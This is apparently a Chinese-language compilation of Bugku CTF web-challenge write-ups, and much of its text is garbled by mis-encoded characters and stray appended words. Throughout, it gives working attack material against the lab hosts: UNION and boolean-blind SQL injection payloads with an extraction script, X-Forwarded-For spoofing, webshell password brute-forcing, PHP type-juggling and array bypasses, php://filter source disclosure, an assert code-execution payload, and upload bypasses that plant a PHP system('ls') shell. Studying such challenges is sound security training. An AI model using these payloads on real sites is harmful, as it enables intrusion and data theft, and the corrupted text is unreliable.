打开连接为一页的滑稽动图,只有20,应该比较简单。直接打开开发者工具php
可是最后提交的时候不知道正确的提交格式,emmm,让我怀疑起来。。。css
打开后要求输入表达式计算结果,尝试输入,发现只能输入1个值html
打开开发者工具,修改相应位置的输入最大值限制前端
发现只是简单的代码,只要提交的what=flag就行java
在地址栏输入横线的内容,显示flagpython
由于post提交的结果不会显示在URL中,此时就须要本身构造,固然本身写脚本提交也能够git
这里使用的是火狐浏览器的插件HackBar程序员
当提交的num不为数字且为1则显示flag 通常状况下数为1且不为数字自相矛盾web
但有不少方法可让num为1却不是数字 好比num= 1e0.123正则表达式
打开连接后就是一个弹窗,点击确认
一直点击确认的话会一直重复者两个弹框,勾选“阻止此页面建立更多对话框”,则把js的内容显示了出来
开发者工具查看,发现js最后一行有注释,解码
题目意思是把flag.baidu.com 解析到123.206.87.240,就是将域名和IP地址联系起来
windows下修改的文件为:
c:\windows\system32\drivers\etc\hosts,出现没有权限的问题请参考windows下没有权限解决方法
而后访问flag.baidu.com,即得flag
打开浏览器页面后,页面一直刷新
因此咱们能够禁用JavaScript
在谷歌浏览器中打开设置-高级-隐私-内容设置-js-禁用
刷新题目页面一直到有CTF图片的页面,查看源代码
看别人的,也能够采用burp suite抓包,使其中止自动刷新,其他步骤同样
打开网页连接,是一段php代码
flag In the variable ! <?php error_reporting(0); // 关闭php错误显示 include "flag1.php"; // 引入flag1.php文件代码 highlight_file(__file__); if(isset($_GET['args'])){ // 经过get方式传递 args变量才能执行if里面的代码 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);");// 告诉咱们这题是代码审计的题目 } ?>
提示说flag在变量里面,经分析只要运行 eval("var_dump($$args);");,falg颇有可能就会出来
$$args====>咱们能够猜测$args颇有多是一个数组,应该想到的就是超全局变量$GLOBALS
他是用存储全局变量的,全局变量的值在这个超级全局变量里面是一个键值,先当于hashmap的键值对
全局变量能够经过变量名在$GLOBALS找到相对应的值。
eval()这个函数的做用是字符串里面的php代码按正常的php代码被执行
经过构造一个GET参数,直接传GET一个全局变量便可
http://123.206.87.240:8004/index1.php?args=GLOBALS
打开连接
随便输入一些东西提交,看看返回的具体信息
返回:在好好看看。
好吧,那就再看看
本页面上实在没什么东西,查看源代码,发现了jother编码放到console中回车一下就可获得flag
也能够经过编写JavaScript经过alert(xxx)、console(xxx)、document.write(xxx)便可解密(xxx为编码内容)。
查看源代码,什么都没有,就想到神器Burp Suite
抓包后在响应报文中看到了flag
御剑扫描,发现一个shell.php,进去页面是一个webshell,用弱密码尝试无效
用burp suit进行爆破,这里选择Simple list,字典选择burp自带的Passwords
常规,F12开发者工具查看一下页面中有没有什么重要信息
发现base64编码,解码后为test123
应该为密码了,至于帐号无所谓,什么都行(为了成功获取flag,密码必定要为 test123)
输入密码,可是页面显示 IP禁止访问,请联系本地管理员登录,IP已被记录
“本地管理员”......“本地”......
获得新思路:假装成本地访问:
抓包
改包:Headers中增添一对键值对: X-Forwarded-For : 127.0.0.1
题目说要查看源代码,那就查看源代码,发现一段js代码看起来比较特殊
对它进行URL解码
解码后为一段js代码,其实就是拼接,获得 67d709b2b54aa2aa648cf6e87a7114f1 提交
打开连接,URL提示爆破,那么用burp suite爆破
爆破
或者用python
也就是说让咱们点击图片一百万此后才能够显示flag,固然这个确定办不到
根据题目提示的JavaScript,查看源代码,找到对应的js
var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 100000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); });
发现以post方式提交请求,构造URL便可
一打开是一串字符,不知道是什么编码,无从下手
尽然提到了文件备份,应该是备份文件源码泄露一类的。使用源码泄露工具,能够自动访问常见的CTF线索文件,若是返回正常说明文件存在。
工具连接:https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
也能够根据题目提示咱们去寻找 .bak 文件(为备份文件的拓展名),猜想构造 http://120.24.86.145:8002/web16/index.php.bak
或者用御剑扫描,查看包含的文件
查看备份文件 .bak 下载后打开
1 <?php 2 /** 3 * Created by PhpStorm. 4 * User: Norse 5 * Date: 2017/8/6 6 * Time: 20:22 7 */ 8 9 include_once "flag.php"; 10 ini_set("display_errors", 0); 11 $str = strstr($_SERVER['REQUEST_URI'], '?'); 12 $str = substr($str,1); 13 $str = str_replace('key','',$str); 14 parse_str($str); 15 echo md5($key1); 16 17 echo md5($key2); 18 if(md5($key1) == md5($key2) && $key1 !== $key2){ 19 echo $flag."取得flag"; 20 } 21 ?>
分析一下,11行strstr从URL中获取从'?'日后(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替换为空,可使用相似这样的语句:kkeyey 处理来绕过,14行parse_str把字符串解析到变量中。最后须要获得key1,key2不相等而两者md5相等,能够利用php弱类型比较绕过,具体原理能够看这里:
https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
方法一:
md5()函数没法处理数组,若是传入的为数组,会返回NULL,因此两个数组通过加密后获得的都是NULL,也就是相等的。
方法二:
利用==比较漏洞(弱比较)
若是两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,仍是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
前两个0e开头的分别是key一、key2的md5值
题目给了一个表格,应该就是SQL注入了
1.首先咱们要判断sql语句的闭合方式,通常有两种
当在id的值后面加上'时,界面无回显,能够判断后端的sql语句应该是
select xxxx from xxxx where id = 'input_id' [xxxx]
或者是这样的
select xxxx from xxxx where id = ('input_id') [xxxx]
在id = 1'
的值后面加上注释符#
以后发现界面正常显示,因此能够判定sql语句的形式是id = 'input_id'
。
经常使用的闭合方式还用id = "input_id"
,id = ("input_id")
,id = ('input_id')
等等,具体是哪种只能看程序猴
的写法。
2.判断返回列数
可使用order by子句判断返回的列数。当构造post参数中的order by为5时,界面无回显、值为4时有回显。因此后端返回的列数应该是4。
id=1' order by 5 #
3.判断后端返回的前端显示的格式
id=-1' union select 1,2,3,4 #
知道返回的列名以后,就能够执行后继的操做和查询各类数据了。
好比查询当前的数据库名
和当前的用户名
以及当前的sql版本号
id=-1' union select 1,database(),user(),version() #
select后面几个数字的意思,1,2,3,4...,这里的几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数同样,否则无法拼接成一个表。
4.注入出当前数据库全部的表名
information_schema是一个拥有数据库中全部信息的库,包含了全部的库,表,列。
id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
5.注入出某一个表中的所有列名
id=-2' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')#
到目前为止已经能查询数据库名称、登录数据库的用户名称、当前数据库的全部表名、某一个表中的所有字段名称等等数据。例如在数据表fl4g
中的所有的列名只有一个skctf_flag
。那么怎样查询字段内容呢?
6.注入出字段内容
利用前面注入出的信息,包括表名,列名,就能够查询字段内容了。
id=-2' union select 1,2,3,(select skctf_flag from fl4g) #
本题要求计算响应内容中的表达式并用 POST 请求返回结果,实质仍是快速反弹包含正确信息的 POST 请求,详情可参考详解 CTF Web 中的快速反弹 POST 请求
先放题解的 Python 脚本,后再解析:
import requests import re url = 'http://120.24.86.145:8002/qiumingshan/' s = requests.Session() source = s.get(url) expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() result = eval(expression) post = {'value': result} print(s.post(url, data = post).text)
一、有关 requests 的部分此处不细讲,惟一要注意必须利用会话对象 Session(),不然提交结果的时候,页面又从新生成一个新的表达式,结果天然错误。
二、第 6 行是利用正则表达式截取响应内容中的算术表达式。首先引入 re 模块,其次用 search() 匹配算术表达式,匹配成功后用 group() 返回算术表达式的字符串。
三、第 7 行在得到算术表达式的字符串后,直接利用 Python 的內建方法 eval() 来计算出结果,简单、暴力、快捷。
执行完上述脚本,就有必定的几率能够得到 flag 了:
pycharm安装requests:https://blog.csdn.net/weixin_37861326/article/details/80347960
打开页面什么也没有,那就抓包试一下吧
发现base64编码,解码
发现要再解码一次,可是结果不对
由于每次发送一次请求,它的base64不同,因此它的解码可能要在规定时间内计算出来
借用python
#coding:utf-8 import requests import base64 url='http://123.206.87.240:8002/web6/' s=requests.Session() header=s.get(url).headers #print(header) flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #对其进行base64两次解密 data={'margin':flag} print(s.post(url=url,data=data).content.decode())
1.打开页面是一堆不知道是什么的一串字符,查看源码也没有发现什么
2.观察URL,发现两个参数
(1)line=
(2)filename=a2V5cy50eHQ=
第二个参数内容为base64编码,解码后为keys.txt
4.访问http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
发现页面...空了......
line参数是否决定了返回哪一行呢?
随便输入一个数字测试一下,发现返回对应此行的php代码
写一个脚本获取所有源码
# -*- coding:utf-8 -*- import requests url = 'http://123.206.87.240:8002/web11/index.php' s = requests.Session() for i in range(1,30): #读取前30行 payloads = {'line':str(i),'filename':'aW5kZXgucGhw'} #构造 a = s.get(url,params=payloads).content c = str(a,encoding="utf-8") print(c)
5.获得源码
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
分析源码,前面判断传参,后面判断cookie必须知足margin=margin才能访问keys.php
6.
第一种:先获得keys.php的base64编码a2V5cy5waHA=
经过火狐浏览器的插件伪造cookie
1.先右键查看源代码,发现以下内容
2.除了这个之外,获取不到什么其它的内容,那么就访问它:http://123.206.87.240:8006/test/1p.html
发现自动跳转到了bugku的页面,应该是重定向了
3.访问url没什么用,就查看页面的源代码:view-source:http://123.206.87.240:8006/test/1p.html
4.第七行内容为url编码,解码后再base64,再url解码
1 ";if(!$_GET['id']) 2 { 3 header('Location: hello.php?id=1'); 4 exit(); 5 } 6 $id=$_GET['id']; 7 $a=$_GET['a']; 8 $b=$_GET['b']; 9 if(stripos($a,'.')) 10 { 11 echo 'no no no no no no no'; 12 return ; 13 } 14 $data = @file_get_contents($a,'r'); 15 if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 16 { 17 require("f4l2a3g.txt"); 18 } 19 else 20 { 21 print "never never never give up !!!"; 22 } 23 24 25 ?>
5.函数简介
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串,就是取第一个字符
eregi("111".substr($b,0,1),"1114") 就是判断"1114"这个字符串里面是否含有符合"111".substr($b,0,1)这个规则的
6.其中各条核心语句的做用以下:
id
$a
中不能含有字符 .
$data
弱等于字符串 bugku is a nice plateform!
$id
弱等于整型数 0$b
的长度大于 51114
要与字符串 111
链接变量 $b
的第一个字符构成的正则表达式匹配$b
的第一个字符弱不等于整型数 47.源码中 $id
、$a
、$b
三个变量须要知足的条件进行讲解
PHP 弱类型比较:变量 $id
若想知足非空非零且弱等于整型数 0,则 $id
的值只能为非空非零字符串,这里假设 $id = "asd"
。
PHP 伪协议:源码中变量 $data
是由 file_get_contents()
函数读取变量 $a
的值而得,因此 $a
的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform!
文件,再把此文件路径赋值给 $a
,显然不太现实。所以这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input
能够访问原始请求数据中的只读流。这里令 $a = "php://input"
,并在请求主体中提交字符串 bugku is a nice plateform!
。
eregi() 截断漏洞:CTF 题作多了就知道 ereg()
函数或 eregi()
函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已肯定为 "1114"
,正则表达式(第一个参数)由 "111"
链接 $b
的第一个字符组成,若令 substr($b,0,1) = "\x00"
,即知足 "1114"
与 "111"
匹配。所以,这里假设 $b = "\x0012345"
,才能知足以上三个条件。
打扰了,仍是直接 http://123.206.87.240:8006/test/f4l2a3g.txt
https://blog.csdn.net/csu_vc/article/details/78375203
http://www.javashuo.com/article/p-rvbappoc-d.html
第一行:explode() 函数把字符串打散为数组。
第二行:获取数组里的每一个字符,结果为assert,其函数的特性为老是使表达式值为真
第三行:用assert函数使get得到的参数s总为真,即用assert执行任意代码
payload:http://120.24.86.145:8010/?s=print_r(scandir('./')) 扫描目录
发现flag
keykeyaaaakey:/a/////keya:
PHP 正则表达式匹配函数 preg_match 与 preg_match_all
页面都是文字,查看源码什么都没有。通常都是文字的题目就可能会有连接的存在,并且题目说什么连接,发现连接居然是能够点进去的!!!
发现源码:
也就是说咱们须要构造三个参数,v1,v2,v3,其中v1和v2须要值不一样但md5的值相同,看起来是找md5碰撞的问题,但咱们也能够利用md5函数的特性,md5(数组)会返回null,这个也是返回值,题目要求的是md5函数的返回值相等,因此就能够用两个值不一样但不可md5的数据类型传入便可。
此处咱们使用v1[]=1&&v2[]=2。第二个是strcmp函数,须要v3和flag的值相同才返回flag的值,貌似是一个鸡生蛋问题,可是咱们依旧使用函数特性,strcmp函数若是出错,那么它的返回值也会是0,和字符串相等时返回值一致。那么如何出错呢,猜想不可比较时出错,那么传入一个数组试试,因此最后构造参数并用get方法传入
http://118.89.219.210:49162/?v1[]=1&&v2[]=2&&v3[]=3,获得flag。
用常规方式注册登录,提示要成为管理员才能够;若是用爆破的话,大写字母加小写字母加数字太麻烦了
根据题目提示SQL约束攻击
1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数状况来讲都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如如下语句的查询结果,与使用用户名“vampire”进行查询时的结果是同样的。 SELECT * FROM users WHERE username='vampire '; 但也存在异常状况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操做,主要是在“字符串比较”期间进行的。这是由于,SQL会在内部使用空格来填充字符串,以便在比较以前使其它们的长度保持一致。 2.在全部的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,若是字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。好比特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
注册成为admin(这里我用了25个空格),密码符合要求便可
登录便可
点开页面,显示“are you from google?”
然而用谷歌访问行不通,构造referer请求头便可获得flag,关于referer:参考资料 https://www.sojson.com/blog/58.html
HTTP_REFERER 编辑
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,通常会带上Referer,
告诉服务器我是从哪一个页面连接过来的,服务器基此能够得到一些信息用于处理。
简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,
通常会带上Referer,告诉服务器我是从哪一个页面连接过来的,服务器藉此能够得到一些信息用于处理。
好比从我主页上连接到一个朋友那里,他的服务器就可以从HTTP Referer中统计出天天有多少用户点击我主页上的连接访问他的网站。
Referer的正确英语拼法是referrer。
因为早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
其它网络技术的规范企图修正此问题,使用正确拼法,因此目前拼法不统一。
题目说是md5碰撞,进入页面要求“please input a”
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每个以”0E”开头的哈希值都解释为0(科学计数法),因此若是两个不一样的密码通过哈希之后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者能够利用这一漏洞,经过输入一个通过哈希后以”0E”开头的字符串,即会被PHP解释为0,若是数据库中存在这种哈希值以”0E”开头的密码的话,他就能够以这个用户的身份登陆进去,尽管并无真正的密码。
0e开头md5小结
构造payload:http://123.206.87.240:9009/md5.php?a=s878926199a
这道题要求从本地访问,打开burpsuite抓包,加上:X-Forwarded-For: 127.0.0.1 就行了
X-Forwarded-For: 简称XFF头,它表明客户端,也就是HTTP的请求端真实的IP,只有在经过了HTTP 代理或者负载均衡服务器时才会添加该项。
根据代码要得到flag,uname与passwd的值要不等但哈希值相等,同时id=margin
构造payload:http://120.24.86.145:8002/web7/?uname[]=1&id=margin 并发送 passwd[]=2 的 postdata 请求便可
extract(array,extract_rules,prefix)
extract() 函数将$_GET数组的值转为变量,默认,若是有冲突,则覆盖已有的变量
File_get_contents()把整个文件读入一个字符串中,可利用php://input绕过
trim() 函数移除字符串两侧的空白字符或其余预约义字符。
因此想获得flag,要达到下面三个条件:
构造payload以下:
根据题目提示txt???思考会不会有flag.txt文件,访问flag.txt
$ac是指flag.txt中的内容flags,$fn指的是flag.txt这个文件
payload: ?ac=flags&fn=flag.txt
进入页面报404,尝试点连接,没有什么内容,另人摸不着头脑
御剑扫描,发现robots.txt,它是网站爬虫规则的描述
进入 http://123.206.87.240:8002/web13/robots.txt ,发现有
查看这个php文件
发现有参数 x ,那么确定和参数有关,可能和参数相关的就是题目一开始给的提示,想办法变成admin
构造:http://123.206.87.240:8002/web13/resusl.php?x=admin
因此能够上传一个php文件 ,抓包后(或者直接该后缀名1.jpg,就不用**那步)
将头部的Content-Type改为Multipart/form-data大小写绕过
**请求内容里的Content-Type改为image/jpeg
文件名改为php5
就绕过了
一句话木马
保存为1.jpg,上传,抓包,将第一个的Content-Type:multipart/form-data随便一个字母改为大写,将文件名1.jpg改成1.php5
Multipart/form-data:
http://www.javashuo.com/article/p-fiiqzgkp-cu.html
https://www.jianshu.com/p/29e38bcc8a1d
解题:
https://blog.csdn.net/qq_42133828/article/details/85091547
https://blog.csdn.net/qq_42967398/article/details/84929817
解题:https://blog.csdn.net/xuchen16/article/details/82904488
https://blog.csdn.net/zyl_wjl_1413/article/details/84260951
https://blog.csdn.net/qq_38412357/article/details/79559039
https://blog.csdn.net/dyw_666666/article/details/83450701
http://www.javashuo.com/article/p-bdiyqhhu-ko.html
打开题目下载的文件,题目的意思是根据给出的字符串逆推出flag
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } ?>
output:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
大佬的解题代码
<?php function decrypt($str) { $mkey = "729623334f0aa2784a1599fd374c120d"; $klen = strlen($mkey); $tmp = $str; $tmp = base64_decode($tmp); // 对 base64 后的字符串 decode $md_len = strlen($tmp); //获取字符串长度 for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key; if ($x == $klen) // 数据长度是否超过 key 长度检测 $x = 0; $char .= $mkey[$x]; // 从 key 中取二次加密用 key $x+=1; } $md_data = array(); for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据 array_push($md_data, ord($tmp[$i])); } $md_data_source = array(); $data1 = ""; $data2 = ""; foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原 $i = $key; if($i >= strlen($mkey)) {$i = $i - strlen($mkey);} $dd = $value; $od = ord($mkey[$i]); array_push($md_data_source,$dd); $data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数 $data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数 } print "data1 => ".$data1."<br>\n"; print "data2 => ".$data2."<br>\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>
1.进入页面没有发现什么,右键查看源代码,发现upload文件,访问
2.新建文档写入 <script language=php>system("ls")</script> 后另存为 jpg 格式
而后上传
3.访问这个文件的存储位置
4.而后再访问红色画框的文件位置
进入页面点击login什么反应也没有,根据提示hint
构造 http://123.206.87.240:8002/flagphp/?hint
出现源代码
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
根据代码,只要cookie反序列化的结果和key相等便可
会下意识的觉得key的值为下面的ISecer:www.isecer.com,可是在以前的代码中key尚未被定义,为空
反序列化的结果为:ISecer=s:0:"";
<?php $KEY=''; echo serialize($KEY); ?> >>>s:0:""; <?php $KEY=NULL; echo serialize($KEY); ?> >>>N;
直接在网址后面加上flag,就会提示让你下载文件
下载后用txt文档打开便可
------这题我以为可能服务器挂了,就贴了别人的
须要用到渗透测试第一步信息收集
点开blog,浏览所有的博客,而后看到了这
这两个东西很容易就能联想到时用户名密码,但是这里应该是哪里的用户名密码,
尝试访问phpmyadmin,没想到成功访问了,而后把上面这两个东西分别做为用户名密码输进去,而后就能够成功登入了,而后
直接点击它,而后查看里面的东西直接就获得了flag
hints:不要一次就放弃
不知道怎么作,看别人说直接扫目录,show.php就能看到(不过通常状况下线上比赛是不容许扫目录的)
页面什么也没有,目录扫描了也没有东西,看来是要注入登陆,通常注入都会用burp->repeater测试,比较方便,此时看到服务器的返回报文有一段base64解密的字符串
发现一段base64编码,解码后
$sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }
是登陆页面的一小段源码,经过分析源码中数据库的处理流程发现能够经过输入不存在用户,用union select 构造出指定密码的md5值,从而登陆成功,payload大概就是这样username=adminawevcq3vq3rv' union select 1,'25d55ad283aa400af464c76d713c07ad'%23&password=12345678
或username=1' union select 1,md5(1)%23&password=1
而后进入了进程监控系统
我也不是很会,接下来请看这里
先判断注入点在哪里
尝试随便输入几个用户名,发现返回 username does not exist! 此时没有输入密码
尝试用户名为admin,发现返回 password error! 说明用户名正确
这就验证了咱们的猜测,那如今注入点应该就是用户名了。
而后试试在admin后加上单引号,可是返回是用户名不存在
这意味着什么呢?这说明即便语法错误,也不会在页面上显示报错信息,
也就不能使用报错注入了,咱们发现有两种返回信息:
username does not exist!和password error!,那咱们能够利用这两个返回值进行布尔盲注。
毕竟我也是第一次接触到这种布尔型盲注,也当是小白扫盲吧,怎么利用啰嗦几句。
咱们猜想后台的验证应该是先查找咱们输入的用户名是否存在,大概是:
select password,username from users where username=”咱们输入的用户名”
若是咱们在where语句的结尾加上一个and链接的布尔判断语句,就能够根据返回值判断where条件是否成立,好比这道题就能够尝试补成
where username=’admin’ and (substring(database(),1,1)=’a’)
若是返回值是password error,那么就说明where语句是成立的,那么咱们补充的那就也是成立的,那么就能够肯定数据库的第一位是a,而后再猜想第二位。
可是这道题过滤了and!!!
尝试加上and返回:
通过尝试发现还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
那怎么办呢,这就用上了今天介绍的异或运算^,先说一下基本规则:
1^1=0 1^0=1 0^0=0
就是说只有两个不一样的布尔值运算结果为1,其余为零
不过在这里用的时候先不要按这个规则去推,由于在咱们用到的三个值的布尔运算的sql语句中彻底相反
首先说下这里咱们要补上两个布尔值,这个最后再说为何。
先猜数据库名,基本语句
admin’^(ascii(mid(database()from(1)))<>97)^0#
解释一下为何,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就能够。mid()函数和substring()同样,一种写法是mid(xxx,1,1),另外一种是mid(xxx,from 1 for 1)可是这里过滤了for和逗号,那么怎么办呢?
这里用到了ascii()取ascii码值的函数,若是传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的做用,而且mid()函数是能够只写from的表示从第几位日后的字符串,咱们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
每一个字符的ascii码判断是否是不等于给定的数字,会获得一个布尔值(0或1)再与结尾的0进行运算。
若是数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
返回值是username does not exist!
若是数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error!
这就构成了布尔报错注入。
有人可能疑问大部分的判断都是无用的,就是说可能从97尝试到120都是username does not exist!,那如何快速找到语句成立时的返回结果(password error!)。这里就是最后^0的妙用了,
由于’admin’^0^0和’admin’^1^1是同样的,咱们能够构造后者来看前者成立时的状况。
补充一点,由于这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过能够改变最后是^0仍是^1,若是改不改返回值相同,那就是有语法错误,若是不一样就能够参照上一段了。这也是为何要多加一个^0,看似画蛇添足,其实好处多多。
就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就能够获得password error!
数据库名最后能够获得是:blindsql
下一步猜表名,表名好像无法暴力猜,由于关键词information被禁了!!!!那数据库名就没用了,哈哈哈,不事后面猜字段的值是同样的原理,不亏不亏。
无法用系统表,就不能像上面同样爆破了,真的是猜了,是admin表,语句以下
admin’^(select(1)from(admin))^1# 返回password error!说明猜对了
猜字段 admin’^(select(count(password))from(admin))^1# 返回password error!说明猜对了。
为何要用count()呢,由于若是有多行数据也可能会报错,会干扰判断。
而后猜password的值,暴力猜解,与猜数据库相似:
admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#
获得密码的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登录,获得flag
# coding=utf-8 import requests import re, string, hashlib url = 'http://123.206.31.85:49167/' sss = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" headers = { 'Host': '123.206.31.85:49167', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Referer': 'http://123.206.31.85:49167/', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '87', 'Cookie': 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } answer = '' for i in range(1, 50): flag = 0 for j in sss: postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j)) data = {'username': postuser, 'password': 'admin'} html = requests.post(url, headers=headers, data=data).text html = re.findall(r"<p align='center'>(.*?)</p>", html, re.S)[0] if 'username does not exist!' in html: answer += j flag = 1 print(answer) break if flag == 0: break print('password is ', answer)
运行,便可得被加密过的password,使用md5解密得其明文为:skctf123456
再次登录:username:admin
password : skctf123456
便可获得key。。。。。。。。
题目说要上传png图片,那么咱们尝试上传一下,结果页面说图片无效
那应该不是靠一句话菜刀,由于根本加载不出来,我以为不可能没有php代码,因而在op后面构造
op=index.php 提示咱们不存在这样的页面 但事实是存在的
op=index 没有出现提示 但页面是空的
op=php://filter/read=convert.base64-encode/resource=index
发现代码
<?php error_reporting(0); define('FROM_INDEX', 1); $op = empty($_GET['op']) ? 'home' : $_GET['op']; if(!is_string($op) || preg_match('/\.\./', $op)) die('Try it again and I will kill you! I freaking hate hackers!'); ob_start('ob_gzhandler'); function page_top($op) { ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title> </head> <body> <div id="header"> <center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center> </div> <div id="body"> <?php } function fatal($msg) { ?><div class="article"> <h2>Error</h2> <p><?=$msg;?></p> </div><?php exit(1); } function page_bottom() { ?> </div> <center> <div id="footer"> <div> <p> <span>2017 © </span> All rights reserved. </p> </div> </div> </center> </body> </html> <?php ob_end_flush(); } register_shutdown_function('page_bottom'); page_top($op); @$op =str_replace("http","",$op); if(!(include $op . '.php')) fatal('no such page'); ?>
经过这个分析,大概懂了为何文件加.php提醒没有此页面的缘由。
经过御剑后台扫描扫描出后台的信息,有flag.php页面,则
op=php://filter/read=convert.base64-encode/resource=flag
则得到flag的base64加密后的数据,进行解密,得到flag。
https://blog.csdn.net/u013577244/article/details/86310881
https://blog.csdn.net/zpy1998zpy/article/details/80684485
http://www.anquan.us/static/drops/tips-7828.html
在线php代码运行平台 http://www.it1352.com/onlinetools/details/8
将咱们提交的内容删掉后再发送,只要cookie不变,咱们依然是咱们提交的admik的身份
获得
MQ2Bj9XHqo1YQ0sN7Ge5Lirf6DKjw2FpwXZn2F873jpgnU4ykrpE2VJ7H0XLgkZ31kCuP5FC8KTmyQKhRtdFyPSdQ3D3